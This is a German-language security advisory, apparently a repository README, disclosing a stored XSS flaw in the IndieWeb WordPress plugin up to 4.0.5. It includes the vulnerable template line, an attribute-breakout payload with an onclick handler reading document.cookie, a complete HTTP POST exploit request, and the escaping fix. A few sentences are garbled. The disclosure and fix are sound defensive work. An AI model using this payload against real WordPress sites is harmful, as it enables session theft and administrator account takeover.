
Authentifiziertes gespeichertes Cross-Site Scripting (XSS) im IndieWeb WordPress Plugin
Haftungsausschluss: Dieses Repository wird nur für Bildungszwecke und ethische Offenlegung erstellt. Die Schwachstelle wurde verantwortungsvoll an den Anbieter gemeldet und behoben. Verwenden Sie diese Informationen nicht, um Systeme ohne entsprechende Autorisierung auszunutzen.
Eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle wurde im IndieWeb-Plugin für WordPress (Versionen <= 4.0.5) entdeckt. Diese Schwachstelle ermöglicht es authentifizierten Angreifern mit Autor-Rechten oder höher, bösartiges JavaScript in das „Telefon“-Feld ihres Benutzerprofils einzuschleusen.
Wenn das „Autor-Profil-H-Card-Widget“ auf der Frontend-Seite angezeigt wird, wird das eingeschleuste Skript ohne ordnungsgemäße Bereinigung dargestellt. Wenn ein Benutzer mit hohen Berechtigungen, z. B. ein Administrator, auf den manipulierten Link klickt, wird das Skript in seinem Browserkontext ausgeführt. Dies kann zu Session-Hijacking, unbefugten administrativen Aktionen und vollständiger Account-Übernahme (Account Takeover, ATO) führen.
<= 4.0.5Das Kernproblem liegt in der unsicheren Handhabung von Benutzermetadaten im Templating-System des Plugins, insbesondere darin, dass die integrierten Escaping-Funktionen von WordPress nicht verwendet werden.
Gefährdete Datei: templates/h-card.php (Zeile 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
Der Fehler:
Das Plugin gibt die tel-Metadaten des Benutzers direkt innerhalb des href-HTML-Attributs mit echo aus, ohne sie in esc_attr() zu verpacken. Dadurch kann ein Angreifer eine manipulierte Zeichenfolge bereitstellen, die ein doppeltes Anführungszeichen (") enthält, um das href-Attribut vorzeitig zu schließen, gefolgt von beliebigen HTML-Attributen (wie style oder onclick).
<= 4.0.5./wp-admin/profile.php).href-Attribut verlässt):
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) gerendert, um die Autoreninformationen anzuzeigen.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Um diese Schwachstelle zu beheben, müssen die Plugin-Entwickler die Ausgabe ordnungsgemäß mit den WordPress-Funktionen esc_attr() und esc_html() escapen.
Beispiel für korrigierten Code:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>